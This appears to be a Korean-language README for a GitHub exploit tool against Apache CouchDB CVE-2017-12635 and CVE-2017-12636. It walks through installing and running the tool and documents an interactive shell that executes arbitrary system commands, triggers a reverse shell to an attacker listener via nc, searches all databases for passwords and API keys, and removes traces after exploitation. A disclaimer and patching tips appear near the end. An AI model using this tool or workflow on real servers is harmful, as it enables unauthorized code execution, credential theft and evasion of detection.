
CouchDB CVE-2017-12635/12636 취약점을 악용하여 권한 상승 및 RCE를 수행하고, 명령 실행, 데이터베이스 탐색, 리버스 셸을 포함한 대화형 셸을 제공합니다.
이 도구는 Apache CouchDB의 두 가지 심각한 취약점을 악용합니다:
| CVE | 설명 | 심각도 |
|---|---|---|
| CVE-2017-12635 | JSON 파싱 우회를 통한 권한 상승 | 🔴 치명적 |
| CVE-2017-12636 | Query Server를 통한 원격 코드 실행 | 🔴 치명적 |
curl http://target:5984/
✨ 기능
✅ 자동 악용 - 하나의 명령으로 모두 처리
✅ 대화형 셸 - 사용자 친화적인 명령 인터페이스
✅ 데이터베이스 뷰어 - 모든 데이터베이스와 문서 탐색
✅ 전체 JSON 표시 - 완전한 문서 내용 확인
✅ 전체 검색 - 모든 데이터베이스에서 키워드 검색
✅ 시스템 명령 - 대상에서 임의의 명령 실행
✅ 리버스 셸 - 완전한 대화형 셸 확보
✅ 명령 기록 - 수행한 작업 추적
✅ 자동 정리 - 악용 후 흔적 제거
✅ 컬러 출력 - 읽기 쉽고 이해하기 쉬움
📦 설치 사전 요구 사항 bash
python3 --version
클론 및 설치 bash
git clone https://github.com/darabium/couchdb-exploit.git cd couchdb-exploit
pip install -r requirements.txt
요구 사항 txt
requests>=2.25.0 urllib3>=1.26.0
🚀 사용법 기본 사용법 bash
python3 couchdb-exploit.py -t <TARGET_IP> -p
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
명령줄 옵션 bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target IP address or hostname -p PORT, --port PORT Target port (default: 5984)
💻 명령어
악용에 성공하면 대화형 셸을 사용할 수 있습니다:
📊 예시
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
데이터베이스 내용 보기 bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Setting up reverse shell to 10.0.0.1:4444 [!] Make sure listener is running: nc -lvnp 4444 [?] Continue? (y/n): y [+] Reverse shell triggered!
🖼️ 스크린샷 작동 중인 익스플로잇
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot 데이터베이스 보기
https://via.placeholder.com/800x400?text=Database+View 리버스 셸
https://via.placeholder.com/800x400?text=Reverse+Shell
⚠️ 면책 조항
중요: 이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다.
🚫 명시적 허가 없이 시스템에 사용하지 마세요
🚫 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다
🚫 통제된 환경 또는 자신의 시스템에서만 사용하세요
✅ 테스트 전에 반드시 서면 승인을 받으세요
✅ 책임 있는 공개 관행을 따르세요
이 도구를 사용함으로써 귀하는 다음 약관에 동의하는 것입니다. 🔐 보안 팁
시스템 관리자라면:
즉시 CouchDB ≥ 1.7.0 또는 ≥ 2.1.1로 업그레이드하세요
방화벽을 사용하여 포트 5984에 대한 접근을 제한하세요
인증을 활성화하고 강력한 암호를 사용하세요
의심스러운 활동이 있는지 로그를 모니터링하세요
인프라에 대한 정기적인 보안 감사를 수행하세요
빠른 해결 방법 bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # Or latest version
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 참고 자료
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Apache CouchDB 보안
Exploit-DB
👤 작성자
darabium
GitHub: @darabium
Telegram: @darabium
⭐ 지원
유용하다고 생각되면:
⭐ 저장소에 스타를 남겨주세요
🐛 이슈를 보고해주세요
🔧 개선 사항에 기여해주세요
📢 다른 사람들과 공유해주세요
📄 라이선스
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
보안 연구를 위해 ❤️로 제작되었습니다
⬆ 맨 위로
| 버전 | 취약 여부 | 수정 버전 |
|---|
| Apache CouchDB < 1.7.0 | ✅ 예 | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ 예 | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ 예 | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ 예 | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ 아니요 | - |
| 명령어 | 설명 | 예시 |
|---|
| db | 문서 수와 함께 모든 데이터베이스 표시 | db |
| view | 데이터베이스의 모든 문서 보기 (전체 JSON) | view passwords |
| raw | 원시 서버 응답 표시 | raw admin |
| count | 데이터베이스의 문서 수 계산 | count users |
| search | 모든 데이터베이스에서 키워드 검색 | search admin |
| exec | 시스템 명령 실행 | exec whoami |
| reverse | 리버스 셸 설정 | reverse 10.0.0.1 4444 |
| history | 명령 기록 표시 | history |
| help | 이 메뉴 표시 | help |
| exit | 정리 후 종료 | exit |